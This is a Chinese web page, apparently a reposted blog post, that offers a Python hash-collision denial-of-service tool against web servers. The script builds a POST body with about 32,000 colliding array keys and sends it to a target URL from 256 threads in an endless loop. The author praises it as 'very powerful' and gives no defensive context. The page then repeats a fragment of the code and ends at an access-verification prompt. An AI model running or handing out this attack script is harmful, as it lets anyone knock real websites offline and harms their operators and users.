阅读背景:

多语言 hash web dos 代码_Yatere的天平秤

来源:互联网 

不多说。威力巨大。

import threading,argparse,sys,socket,re
import urllib.parse as up

parser = argparse.ArgumentParser(description='Http range Dos tools,by Yatere.')

parser.add_argument('-t',help="Trager's url")
parser.add_argument('-r',default=256,type=int,help="Trager's Threading Number")

args = parser.parse_args()
if args.t ==None:
          parser.print_help()
          sys.exit(1)
          
host=up.urlsplit(args.t).netloc
file=up.urlsplit(args.t).path+up.urlsplit(args.t).query
threadno=args.r
port=80


a=0
txt=''
for i in range(1,32768):
	a=a+32768
	txt=txt+'&array['+str(a)+"]=0"

had='POST /'+file+' HTTP/1.1\r\nHost: '+host+'\r\nAccept: */*\r\nContent-Length: 621444\r\nConnection: close\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n'+txt


class yk(threading.Thread):
          def __init__(self,domain,port=80):
                    super(yk,self).__init__()
                    self.domain=domain
                    self.port=port
                    self.start()

          def run(self):
                    while True:
                              try:  
                                        a=socket.socket()
                                        a.connect((self.domain,self.port))
                                        a.send(had.encode())
                                        a.close()
                                        print('HEADing\n')
                              except Exception as a:
                                        print (a)
                                        pass
                    


                                        
for i in range(threadno):
          yk(host,port)
import threading,argparse,sys,so



你的当前访问异常,请进行认证后继续阅读剩余内容。

分享到: